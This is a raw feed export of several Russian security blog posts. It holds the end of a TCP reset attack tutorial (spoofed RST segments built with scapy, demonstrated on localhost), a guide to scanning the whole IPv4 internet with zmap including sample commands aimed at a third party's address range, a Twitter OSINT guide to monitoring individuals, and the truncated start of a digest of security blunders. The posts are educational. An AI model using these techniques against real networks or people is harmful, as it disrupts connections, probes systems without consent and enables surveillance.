  &lt;p&gt; Мы установили соединение, а программа может сниффить все проходящие через неё TCP-сегменты. Единственное, что нам осталось — модифицировать программу, чтобы она выполняла атаку TCP reset передачей фальшивых сегментов &lt;code&gt;RST&lt;/code&gt;. Для этого мы изменим функцию &lt;code&gt;prn&lt;/code&gt; (см. список параметров выше), вызываемую &lt;code&gt;scapy&lt;/code&gt; для пакетов, соответствующих требованиям функции &lt;code&gt;lfilter&lt;/code&gt;. В модифицированной версии функции вместо простой фиксации соответствующего пакета мы изучаем его, извлекаем необходимые параметры, и используем эти параметры для сборки и отправки сегмента &lt;code&gt;RST&lt;/code&gt;. Допустим, мы перехватили сегмент, идущий от (&lt;code&gt;src_ip, src_port)&lt;/code&gt; к &lt;code&gt;(dst_ip, dst_port)&lt;/code&gt;. У него установлен флаг &lt;code&gt;ACK&lt;/code&gt; и номер подтверждения равен 100 000. Чтобы изготовить и отправить сегмент, мы:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;Меняем местами IP-адреса отправителя и получатели, а также их порты. Это необходимо, потому что наш пакет будет ответом на перехваченный пакет. Исходная точка нашего пакета должна быть конечной точкой исходного пакета, и наоборот.&lt;/li&gt;
    &lt;li&gt;Включаем флаг &lt;code&gt;RST&lt;/code&gt; сегмента, потому что именно он сообщает, что сегмент является &lt;code&gt;RST&lt;/code&gt;&lt;/li&gt;
    &lt;li&gt;Присваиваем порядковому номеру точное значение номера подтверждения перехваченного пакета, так как это следующий порядковый номер, который ожидает получить отправитель&lt;/li&gt;
    &lt;li&gt;Вызываем метод &lt;code&gt;send&lt;/code&gt; библиотеки &lt;code&gt;scapy&lt;/code&gt; для отправки сегмента жертве — источнику перехваченного пакета.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt; Чтобы модифицировать нужным образом нашу предыдущую программу, раскомментируйте &lt;a href=&quot;https://github.com/robert/how-does-a-tcp-reset-attack-work/blob/77d06123b24a0b69f5ed829bcaeb3db4aa7add8e/main.py#L116-L119&quot; target=&quot;_blank&quot;&gt;эту строку&lt;/a&gt; и закомментируйте строку над ней.&lt;/p&gt;
  &lt;p&gt; Теперь мы готовы к проведению полномасштабной атаки. Настройте TCP-соединение в соответствии с этапом 1. Запустите атакующую программу из этапа 2 в третьем окне терминала. Затем введите какой-нибудь текст в одном из терминалов TCP-соединения. В терминале, на котором вы вводили текст, TCP-соединение внезапно и загадочно прервётся. Атака выполнена!&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/getpro/habr/post_images/ad9/2a2/b18/ad92a2b18c1533c47d88ab4ff10dedf7.gif&quot; width=&quot;654&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3&gt;Дальнейшая работа&lt;/h3&gt;
  &lt;ol&gt;
    &lt;li&gt;Продолжите эксперименты с инструментом для атак. Проследите, что происходит, если прибавить или вычесть 1 из порядкового номера пакета &lt;code&gt;RST&lt;/code&gt;. Убедитесь, что он должен быть &lt;em&gt;точно&lt;/em&gt; равен значению &lt;code&gt;ack&lt;/code&gt; перехваченного пакета.&lt;/li&gt;
    &lt;li&gt;Скачайте Wireshark и используйте его для прослушивания интерфейса &lt;code&gt;lo0&lt;/code&gt; во время проведения атаки. Это позволит вам увидеть подробности о каждом из передаваемых по соединению TCP-сегментов, в том числе и о ложном &lt;code&gt;RST&lt;/code&gt;. Используйте фильтр &lt;code&gt;ip.src == 127.0.0.1 &amp;amp;&amp;amp; ip.dst == 127.0.0.1 &amp;amp;&amp;amp; tcp.port == 8000&lt;/code&gt; для фильтрации всего излишнего трафика других программ.&lt;/li&gt;
    &lt;li&gt;Усложните проведение атаки, передавая по соединению непрерывный поток данных. Это затруднит выбор скриптом правильного порядкового номера для его сегментов &lt;code&gt;RST&lt;/code&gt;, потому что ко времени прибытия сегмента &lt;code&gt;RST&lt;/code&gt; к жертве та уже может получить дальнейшие истинные данные, увеличив таким образом следующий порядковый номер. Чтобы противодействовать этому, мы можем передавать несколько пакетов &lt;code&gt;RST&lt;/code&gt;, каждый из которых имеет свой порядковый номер.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt;&lt;a href=&quot;https://robertheaton.com/2020/04/27/how-does-a-tcp-reset-attack-work/&quot; target=&quot;_blank&quot;&gt;&lt;br /&gt;Оригинальная статья&lt;br /&gt;&lt;/a&gt;Перевел: PatientZero&lt;/p&gt;
  &lt;h3&gt;&lt;strong&gt;&lt;u&gt;By @it_ha&lt;/u&gt;&lt;/strong&gt;&lt;/h3&gt;

</content></entry><entry><id>it_ha:scan_ipv4</id><link rel="alternate" type="text/html" href="https://teletype.in/@it_ha/scan_ipv4?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=it_ha"></link><title>Как просканировать весь интернет</title><published>2020-05-05T18:51:58.168Z</published><updated>2020-05-05T18:53:09.813Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/f7/03/f7030c5f-8b09-4e26-b821-a9edab69f3b1.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/f9/90/f99083c8-be8d-40e9-8bf5-56ae7cd2a18b.png&quot;&gt;Весь диапазон IPv4 адресов — это 4-миллиарда IP-адресов. Это кажется огромной цифрой, но весь IPv4 интернет можно полностью просканировать на предмет одного TCP-порта за 40 минут, например найти все веб-серверы в мире или все открытые SSH-порты. При этом достаточно одного сервера и гигабитного канала. Это полезно для исследований, например если вы собираете статистику по используемым технологиям в мире, или оцениваете процент уязвимых сервисов, открытых наружу.</summary><content type="html">
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/f9/90/f99083c8-be8d-40e9-8bf5-56ae7cd2a18b.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Весь диапазон IPv4 адресов — это 4-миллиарда IP-адресов. Это кажется огромной цифрой, но весь IPv4 интернет можно полностью просканировать на предмет одного TCP-порта &lt;strong&gt;за 40 минут&lt;/strong&gt;, например найти все веб-серверы в мире или все открытые SSH-порты. При этом достаточно одного сервера и гигабитного канала. Это полезно для исследований, например если вы собираете статистику по используемым технологиям в мире, или оцениваете процент уязвимых сервисов, открытых наружу.&lt;/p&gt;
  &lt;p&gt; Программа &lt;strong&gt;zmap &lt;/strong&gt; (не путать с nmap) позволяет сканировать огромные диапазоны сетей намного быстрее любого сканера из-за особой архитектуры. В статье мы рассмотрим пример как собрать список всех веб-серверов в мире с помощью zmap. Имея список хостов с открытым HTTP портом, уже можно использовать более интеллектуальный сканер, передавая ему точный список целей.&lt;/p&gt;
  &lt;h2&gt;Чем плох nmap&lt;/h2&gt;
  &lt;p&gt; Для сканирования небольших подсетей традиционно используется Nmap — популярный мультитул с открытым кодом и массой пентестерских плюшек внутри. Он хорошо подходит для сканирования небольших диапазонов и выборочных хостов. У nmap есть собственный движок для написания пользовательских скриптов на языке lua (Nmap Script Engine) и много крутых готовых скриптов. Но nmap плохо подходит для сканирования больших сетей, вроде миллионов или даже миллиардов адресов. Такие задачи займут несколько дней или даже недель. Дело в том, что nmap использует сетевую подсистему операционной системы и на каждый запрос открывается полноценный сокет. Без этого не обойтись для полноценного TCP-подключения, когда нужно пообщаться с сервисом, например сделать GET-запрос на веб-сервер. Но это сильно снижает производительность, когда требуется быстрое SYN-сканирование, где стоит задача только узнать открыт ли порт. &lt;/p&gt;
  &lt;h2&gt;Zmap и Masscan&lt;/h2&gt;
  &lt;p&gt; Нам больше подойдут асинхронные сканеры Zmap и Masscan: оба работают значительно быстрее, используют драйвер &lt;a href=&quot;https://www.ntop.org/products/packet-capture/pf_ring/&quot; target=&quot;_blank&quot;&gt;PF_RING&lt;/a&gt; (сокет, значительно ускоряющий захват пакетов) и рандомизируют адреса, чтобы избежать убойного DoS&amp;#x27;a. В отличие от Nmap, они не используют системный TCP/IP: первый генерирует голые Ethernet-фреймы, второй использует самописный TCP-стек.&lt;/p&gt;
  &lt;p&gt; Masscan считается самым быстрым сканером интернета, способным пройтись по всему IPv4 диапазону за шесть минут, но только при нескольких параллельно подключенных физических адаптерах, с одного генерируется исходящий трафик с SYN-пакетам, а на другой приходят ответы. В условиях одиночного подключения доработанный Zmap оказался почти в полтора раза быстрее. Эти рекорды, разумеется, ставились на топовом железе на каналах 10 Гбит/c, и повторить их самостоятельно будет сложно и дорого. На куда более доступном гигабитном подключении Zmap тоже работает быстрее чем Masscan за счёт более эффективного использования ресурсов канала и CPU и справляется примерно за 45-50 минут.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/ge/fz/jb/gefzjbxxkce6p47gclddui5o-1e.png&quot; width=&quot;1298&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Упрощенная схема работы Zmap и Masscan. Отдельно работает генератор исходящего трафика и обработчик входящих ответов&lt;/p&gt;
  &lt;p&gt; Если не вдаваться в технические подробности, Zmap и Masscan используют две сущности: генератор исходящего трафика содержащего SYN-запросы и отдельно обработчик входящих ответов. Производительность здесь ограничена только шириной канала и производительностью сетевого интерфейса, а именно лимитом PPS (packets per second). Поэтому процесс сканирования можно разделить на несколько интерфейсов или даже несколько физических хостов, если существует возможность подменять Source IP на адрес обработчика входящих пакетов.&lt;/p&gt;
  &lt;h3&gt;Подготовка к сканированию&lt;/h3&gt;
  &lt;p&gt; Нужно иметь в виду, что сканер сильно нагружает систему и особенно сетевые интерфейсы, утилизируя весь доступный канал. Если начать сканирование без предупреждения хостера, это будет выглядеть как DDoS и вас скорее всего очень быстро отключат от сети. Также нужно быть готовым, что сканирование всего интернета спровоцирует ответную реакцию — на вас начнут жаловаться. То есть хостеру придет пачка автоматических писем с жалобами «вы нас сканируете». &lt;/p&gt;
  &lt;p&gt; Так что перед началом своего проекта лучше подготовиться:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;strong&gt;Сообщите хостеру о своих планах&lt;/strong&gt; — поддерживайте связь с администратором сети чтобы иметь возможность оперативно реагировать на проблемы (или чьё-то недовольство по поводу забитого канала). Убедитесь, что сканирование не будет перегружать локальную сеть или маршрутизаторы провайдера. Начинайте только после получения явного согласия от хостера.&lt;/li&gt;
    &lt;li&gt;&lt;strong&gt;Установите PTR-запись&lt;/strong&gt; — ваши действия наверняка спровоцируют автоматические системы обнаружения сканирования, на эти логи посмотрят системные администраторы. Попытайтесь сделать то, что они увидят, максимально понятным. Например, установите информативную PTR запись для IP-адреса, с которого будет происходить сканирование, что-то вроде:&lt;br /&gt; &lt;code&gt;scanner-for-educational-project.ivan-ivanov.com&lt;/code&gt;&lt;/li&gt;
    &lt;li&gt;&lt;strong&gt;Добавьте пояснения в User-Agent&lt;/strong&gt; — если вы сканируете веб и выполняете какие-то HTTP-запросы, установите дополнительные объяснения в User-Agent, четко объясните цель и объем сканирования. Там же можно добавить ссылку на страницу, объясняющую цели проекта.&lt;/li&gt;
    &lt;li&gt;&lt;strong&gt;Рандомизируйте адреса &lt;/strong&gt; — по возможности не сканируйте сети подряд, это выглядит как явный вредоносный паттерн поведения. Используйте случайный порядок целевых адресов. &lt;/li&gt;
  &lt;/ul&gt;
  &lt;h2&gt;NAT, фильтры и фаероволы&lt;/h2&gt;
  &lt;p&gt; Важно понимать, что zmap генерирует одновременно миллионы TCP-запросов. Если между интернетом и сканирующим сервером будет установлен роутер с NAT, фаерволл с connection tracking, DDoS-защита или любая другая система со stateful фаерволом, пытающаяся отслеживать подключения, она сломается из-за того, что не сможет переварить столько подключений. Поэтому запускать zmap находясь NAT-ом, например за домашним WiFi-роутером, нельзя. &lt;/p&gt;
  &lt;h2&gt;Пробуем Zmap&lt;/h2&gt;
  &lt;p&gt; Установите Zmap (&lt;a href=&quot;https://github.com/zmap/zmap/blob/master/INSTALL.md&quot; target=&quot;_blank&quot;&gt;инструкция&lt;/a&gt;) Протестируйте на чём-нибудь простом, посмотрим соседние веб-сервера с habr.com:&lt;/p&gt;
  &lt;pre&gt;$ zmap -p 80 178.248.237.0/24 -B 100M -o habr.txt&lt;/pre&gt;
  &lt;p&gt; Опции:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;strong&gt;-p 80&lt;/strong&gt; — порт TCP 80, то есть ищем только HTTP серверы&lt;/li&gt;
    &lt;li&gt;&lt;strong&gt;178.248.237.0/24&lt;/strong&gt; — целевой диапазон адресов. Если его не указать, будет просканирован весь интернет&lt;/li&gt;
    &lt;li&gt;&lt;strong&gt;-B 100M&lt;/strong&gt; — максимальная ширина канала, которую использует zmap. Если эту опцию не указать, будет утилизирован весь доступный канал&lt;/li&gt;
    &lt;li&gt;&lt;strong&gt;-o habr.txt&lt;/strong&gt; — записать результаты в текстовый файл. В него попадет адреса которые ответили на запрос, то есть на которых есть HTTP-сервер&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/at/ip/r7/atipr7puts2n4o9n0ravsjti4s0.png&quot; width=&quot;1037&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Сканирование 254 адресов с помощью zmap заняло несколько секунд&lt;/p&gt;
  &lt;h3&gt;Форматы вывода zmap&lt;/h3&gt;
  &lt;p&gt; По умолчанию zmap просто складывает найденные адреса в текстовый файл отделяя их переносом строки. Но также может писать результаты в формате json и xml. Опция &lt;strong&gt;--output-fields&lt;/strong&gt; позволяет указать дополнительные поля, которые будет добавлены в вывод.&lt;/p&gt;
  &lt;p&gt; Попробуем для примера более расширенный формат вывода в json, с указанием порта, на которым пришел ответный запрос и TTL пакета:&lt;/p&gt;
  &lt;pre&gt;$ zmap -p80  --output-module=json --output-fields=ttl,sport,dport,saddr 178.248.237.68 -o habr.com.json

# Посмотрим результат
$ cat habr.com.json
{ &amp;quot;ttl&amp;quot;: 58, &amp;quot;sport&amp;quot;: 80, &amp;quot;dport&amp;quot;: 51309, &amp;quot;saddr&amp;quot;: &amp;quot;178.248.237.68&amp;quot; }
&lt;/pre&gt;
  &lt;h2&gt;Сканируем весь интернет!&lt;/h2&gt;
  &lt;p&gt; Я попробовал запустить сканирование на VPS, и через несколько минут меня забанили с требованием проверить сервер на наличие вирусов. Это вполне логично, ведь такое сканирование выглядит как DDoS со стороны хостера. Но после обсуждения моей задачи с поддержкой, мне предложили взять выделенный сервер и сканировать на нем. &lt;/p&gt;
  &lt;p&gt; Так выглядит сканирование на интерфейсе 200Mbit/s, прогнозируемое время около шести часов:&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/-d/no/k2/-dnok2gjfb79j9svvcocytliin8.png&quot; width=&quot;372&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Даже с каналом в 100 Mbit/s весь интернет можно просканировать за ночь.&lt;/p&gt;
  &lt;h2&gt;Что делать с этим дальше&lt;/h2&gt;
  &lt;p&gt; Теперь мы можем сказать сколько мире адресов слушают порт 80 и собрать их список. Его можно направить в L7-сканер чтобы проанализировать на application layer на предмет уязвимостей.&lt;/p&gt;
  &lt;p&gt; Например, получить HTML Title всех веб-серверов в мире с помощью nmap. На вход nmap передаем файл полученный от zmap в обычном формате:&lt;/p&gt;
  &lt;pre&gt;
$ nmap -sV -p 80 -v -n  --script http-title  -iL habr.txt
&lt;/pre&gt;
  &lt;p&gt;автор статьи: f66&lt;/p&gt;
  &lt;h2&gt;&lt;u&gt;By @it_ha&lt;/u&gt;&lt;/h2&gt;

</content></entry><entry><id>it_ha:twitter_osint</id><link rel="alternate" type="text/html" href="https://teletype.in/@it_ha/twitter_osint?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=it_ha"></link><title>(Не)очевидный OSINT в Twitter</title><published>2020-04-07T17:24:31.020Z</published><updated>2020-04-07T17:24:31.020Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/6e/2a/6e2a0d07-c481-4852-adb2-dbd92ae4b85c.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/57/94/57948d37-5c8c-4056-bed0-4ea1b320f5b2.png&quot;&gt; Twitter — достаточно старый, но при этом все еще популярный у широкой аудитории сервис микроблогов, которым активно пользуются как рядовые пользователи, так и публичные личности. Лучший пример — официальные Twitter-аккаунты политиков, писателей, музыкантов, актеров. Конечно, зачастую такие учетные записи ведутся «специально обученными людьми», но если речь идет об OSINT в производственной сфере, то наблюдение за аккаунтами рядовых инженеров или менеджеров может дать великолепные результаты. </summary><content type="html">
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/57/94/57948d37-5c8c-4056-bed0-4ea1b320f5b2.png&quot; width=&quot;1336&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt; Twitter — достаточно старый, но при этом все еще популярный у широкой аудитории сервис микроблогов, которым активно пользуются как рядовые пользователи, так и публичные личности. Лучший пример — официальные Twitter-аккаунты политиков, писателей, музыкантов, актеров. Конечно, зачастую такие учетные записи ведутся «специально обученными людьми», но если речь идет об OSINT в производственной сфере, то наблюдение за аккаунтами рядовых инженеров или менеджеров может дать великолепные результаты. &lt;/p&gt;
  &lt;p&gt; Немаловажно и то, что для эффективной работы с массивом данных из Twitter не обязательно обрабатывать каждый твит вручную, либо же бросаться в другую крайность — подключаться к API и самому писать софт. Хотя стандартный интерфейс сервиса не дает нам почти ничего в плане поисковых инструментов или инструментов фильтрации, при этом Twitter поддерживает огромное множество поисковых запросов и правил, о которых нигде толком в стандартном веб-интерфейсе или приложении не упоминается. Именно с использования этих запросов и стоит начать.&lt;/p&gt;
  &lt;h2&gt;Twitter Dorks&lt;/h2&gt;
  &lt;p&gt; В Twitter информацию можно искать по четырем ключевым параметрам: по контенту, по полной информации твита, по типу медиа и по пользователю. &lt;/p&gt;
  &lt;p&gt; Под «контентом» подразумевается сам текст или ключевые слова твитов. К этой категории относятся следующие запросы:&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/5e/42/5e421168-384b-4c90-a38f-066cb8deef02.png&quot; width=&quot;799&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Категория «информация» включает в себя как категорию «контент», так и такие данные как дата твита, геолокацию, ретвиты и даже такие сложные вещи, как фильтрацию по количеству ретвитов, ответов и лайков. &lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/62/91/6291bd91-c47d-4116-97f1-18d5648c0a37.png&quot; width=&quot;805&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; В категории «медиа» можно отфильтровать твиты по содержимому медиа-контенту, например, искать только твиты с видео или фото, либо просто найти все записи, которые содержат какой-либо внешний URL. &lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/ff/79/ff79e0f7-ef4d-4fbb-b12e-22d123afc3ee.png&quot; width=&quot;801&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; С фильтрацией по «пользователю» все более-менее понятно: этот набор поисковых функций позволяет отфильтровать записи по аккаунтам. При этом мы можем наблюдать не за конкретными твитами, а, например, &lt;strong&gt;только за ответами объекта наблюдения конкретным пользователям&lt;/strong&gt;.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/e1/d1/e1d130d5-89c7-4bd8-bf1f-2c603174d9a8.png&quot; width=&quot;808&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Важно отметить, что для всех приведенных выше запросов вида «filter:type» действует правило «исключающего» запроса через использование символа «-». Например, чтобы получить все медиа от NASA кроме изображений, нужно ввести запрос вида «from:NASA filter:media -filter:images».&lt;/p&gt;
  &lt;p&gt; Весь этот набор поисковых команд выглядит как Новый год посреди лета, потому что избавляет нас от необходимости парсинга сторонними инструментами, подключения к API и прочим техническим ухищрениям и сложностям, которые присущи поиску в публичных данных. &lt;/p&gt;
  &lt;p&gt; Фактически, сам Twitter позволяет нам забирать любую интересующую нас информацию, причем по достаточно широкому спектру параметров, которые мы сможем комбинировать между собой. Что удивительно, все описанные поисковые запросы нигде очевидно не документированы. То есть Twitter позволяет тонко парсить и искать по записям своих пользователей, но особо об это не распространяется. И это прекрасно — что у нас есть такая возможность — потому что очень часто специалисты страдают от эффекта «overqualification» и усложняют себе жизнь там, где можно было воспользоваться бритвой Оккама и найти самое очевидное и при этом самое правильное решение для своей задачи.&lt;/p&gt;
  &lt;h2&gt;Tweetdeck&lt;/h2&gt;
  &lt;p&gt; Известным приложением для фильтрации контента по заданным параметрам и категориям является &lt;a href=&quot;https://tweetdeck.twitter.com/&quot; target=&quot;_blank&quot;&gt;Tweetdeck&lt;/a&gt;. Однако если рядовой пользователь рассматривает Tweetdeck просто как очередную инкарнацию RSS-ленты, то в случае целенаправленной фильтрации публичных данных он становится весьма сильным инструментом.&lt;/p&gt;
  &lt;p&gt; Один из наиболее очевидных сценариев использования Tweetdeck в разрезе OSINT — снижение уровня шума в рабочей выборке твитов. Из коробки сервис способен создать черный список ключевых слов и твиты, содержащие их, просто не появятся в вашей ленте. Если вы занимаетесь OSINT и собираете информацию из публичных источников, то у подобной функции есть вполне очевидное применение. &lt;/p&gt;
  &lt;p&gt; Давайте возьмем условный кейс: твиттер-аккаунт Стивена Кинга. Кто сталкивался с учетной записью писателя, тот знает, что на 30% она состоит из любви к его собаке, на 60% из ненависти к президенту Трампу, а на 10% твитов выпадает все остальное. Если нам нужны именно последние 10% записей, то Tweetdeck прекрасно позволит отфильтровать большую часть неинтересного для нас мусора и работать с более-менее релевантной выборкой. Посмотрим на кусок ленты Кинга:&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/q6/ma/ua/q6mauawmnnyk4cs0ximn_pwipmi.png&quot; width=&quot;309&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Отфильтруем через настройки Tweetdeck записи по ключевым словам «Trump», «president», «white house», «Obama», чтобы вырезать большую часть «политоты» из нашей выборки. &lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/fe/fv/xn/fefvxnb4lzl_s5lu3d-rre08v9q.png&quot; width=&quot;652&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; Собственно, делается это элементарно. После мута твитов с ключевыми словами, наблюдаемый нами аккаунт совершенно преобразился:&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/ad/pw/_y/adpw_ygclskdbt66f0oitwiygoo.png&quot; width=&quot;308&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; При этом Tweetdeck поддерживает все поисковые запросы, о которых шла речь в начале статьи, что делает его комфортным инструментом для поиска информации.&lt;/p&gt;
  &lt;p&gt; Сейчас многие из вас подумали, что с таким пулом поддерживаемых поисковых запросов осталось только написать софт, который будет вытягивать для вас твиты и собирать их в отчеты, например, в текстовые документы, которые потом можно будет лениво полистывать, потягивая свежий чаек. И вот тут опять работает принцип «самое простое решение — самое правильное». Ведь перед тем, как садиться писать софт, стоит открыть Google и он нам ответит: ничего писать не надо, такой софт уже есть и называется Twitter Archiver.&lt;/p&gt;
  &lt;h2&gt;Twitter Archiver&lt;/h2&gt;
  &lt;p&gt; Twitter (Tweet) Archiver — &lt;a href=&quot;https://gsuite.google.com/marketplace/app/tweet_archiver/976886281542&quot; target=&quot;_blank&quot;&gt;расширение для google-таблиц&lt;/a&gt;, которое собирает данные по нашим поисковым запросам из Twitter и выгружает все это в Google Docs. Само приложение цепляется к аддонам гугл-таблиц и позволяет выгружать результаты поиска сразу в документ.&lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/2r/n8/jm/2rn8jmj8sj9fpxfv7pyjgxlintg.png&quot; width=&quot;431&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; В момент создания первого поискового правила Twitter Archiver запросит логин в существующий аккаунт, с которого будет вестись работа. Вот и все. Ищем, парсим, выгружаем в Excel-таблицу и анализируем. &lt;/p&gt;
  &lt;p&gt; Для примера пропарсим твиттер с максимально широкими параметрам поиска для того, чтобы показать, как будет выглядеть выгрузка: &lt;/p&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://hsto.org/webt/uz/ka/ze/uzkazer11kzibmljlsget5dz8rq.png&quot; width=&quot;1905&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; На выходе мы получаем таблицу со следующими столбцами: &lt;/p&gt;
  &lt;p&gt;&lt;em&gt;Date, Screen Name, Full Name, Tweet Text, Tweet ID, Link(s), Media, Location, Retweets, Favorites, App, Followers, Follows, Listed, Verfied, User Since, Location, Bio, Website, Timezone, Profile Image&lt;/em&gt;. К сожалению, все это на скриншот выше не влезло, так как занимает два экрана. &lt;/p&gt;
  &lt;p&gt; В представленном инструменте есть только одно слабое место: бесплатная версия Twitter Archiver позволяет парсить только по одному правилу и только один раз в час. Платная версия работает без ограничений по количеству правил поиска и делает выгрузку раз в 15 минут. Стоит, правда, недешево: от 39$/год за одного пользователя и до 399$/год за неограниченное число учетных записей. &lt;/p&gt;
  &lt;h2&gt;Итого&lt;/h2&gt;
  &lt;p&gt; Собирать информацию в полуавтоматическом режиме можно без каких-либо навыков в программировании, достаточно поисковых запросов самого Twitter и приложения Tweetdeck. Бот для гугл-таблиц упрощает систематизацию, однако полноценная его версия стоит денег. &lt;/p&gt;
  &lt;p&gt; Есть и более сложный путь, который не относится к теме статьи в качестве простого решения, но упомянуть о котором необходимо. Это решение — получение &lt;a href=&quot;https://developer.twitter.com/en/apps&quot; target=&quot;_blank&quot;&gt;доступа к API Twitter&lt;/a&gt; через официальный запрос и последующее создание собственных инструментов. Однако шансов на это у частного лица не слишком много: на профильных форумах говорят, что доступ к API дают далеко не всем и процент отказа очень велик.&lt;/p&gt;
  &lt;p&gt; Но что делать, если вы хотите защитить свои данные, а не собирать их? Как бороться с анализом данных в Twitter? Да, по сути, никак. Это публичная сеть микроблогов в которой есть только два инструмента защиты информации: черные списки аккаунтов и ограничение доступа. &lt;/p&gt;
  &lt;p&gt; Первое, очевидно, от ботов и парсинга не спасет. Второе более эффективно, но тогда твиты будут доступны для просмотра только подписчикам аккаунта. Если мы говорим о какой-то публичной учетной записи, то второй вариант не применим, плюс, наблюдатель всегда может прокрасться в перечень читателей, если владелец аккаунта добавляет новых фолловеров вручную.&lt;/p&gt;
  &lt;p&gt; Так что единственный гарантированный способ снизить вероятность OSINT-утечек через Twitter до приемлемого уровня — не пользоваться Twitter.&lt;/p&gt;
  &lt;p&gt;Автор оригинальной статьи: &lt;a href=&quot;https://habr.com/ru/users/postuf/&quot; target=&quot;_blank&quot;&gt;Postuf&lt;/a&gt;&lt;/p&gt;
  &lt;h2&gt;&lt;strong&gt;by @it_ha&lt;/strong&gt;&lt;/h2&gt;

</content></entry><entry><id>it_ha:dIyYl0IJR</id><link rel="alternate" type="text/html" href="https://teletype.in/@it_ha/dIyYl0IJR?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=it_ha"></link><title>7 историй про глупость, халтуру, доверчивость и их последствия</title><published>2020-04-07T17:14:01.828Z</published><updated>2020-04-07T17:14:01.828Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/2c/88/2c881fbc-e9d0-47b2-9352-0cc16a54949c.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/42/81/42814eba-d808-425c-8d9f-86d6e5990b10.png&quot;&gt;Есть в нашей команде люди, в задачу которых входит мониторить ИБ-новости. В день они перепахивают кучу материалов на русском, английском, испанском и еще паре-тройке языков. Дайджест разлетается по отделам: кому посмотреть, нет ли среди пострадавших знакомых компаний, кому – в качестве иллюстрации к статье, примера к обучению или вебинару. Но для некоторых историй у нас особая папочка. «Гениальные» в своей незатейливости мошеннические схемы или удивительные по наивности проколы – к 1 апреля мы решили поскрести по сусекам и отобрали несколько историй, фигуранты которых достойны приза ИБ-версии «Премии Дарвина».</summary><content type="html">
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/42/81/42814eba-d808-425c-8d9f-86d6e5990b10.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Есть в нашей команде люди, в задачу которых входит мониторить ИБ-новости. В день они перепахивают кучу материалов на русском, английском, испанском и еще паре-тройке языков. Дайджест разлетается по отделам: кому посмотреть, нет ли среди пострадавших знакомых компаний, кому – в качестве иллюстрации к статье, примера к обучению или вебинару. Но для некоторых историй у нас особая папочка. «Гениальные» в своей незатейливости мошеннические схемы или удивительные по наивности проколы – к 1 апреля мы решили поскрести по сусекам и отобрали несколько историй, фигуранты которых достойны приза ИБ-версии «Премии Дарвина».&lt;/p&gt;
  &lt;h3&gt;1. Номинация «Гостеприимство» &lt;/h3&gt;
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/webt/wg/5g/4p/wg5g4p58xwwzh9zwrcuedfah8vc.jpeg&quot; width=&quot;394&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt; В одну из тюрем Южной Дакоты, США, в 2014 году пришла милая пожилая женщина, которая представилась медицинским инспектором. Сотрудникам она сказала, что должна проверить условия содержания заключенных и соблюдение санитарно-гигиенических норм в служебных помещениях. &lt;/p&gt;
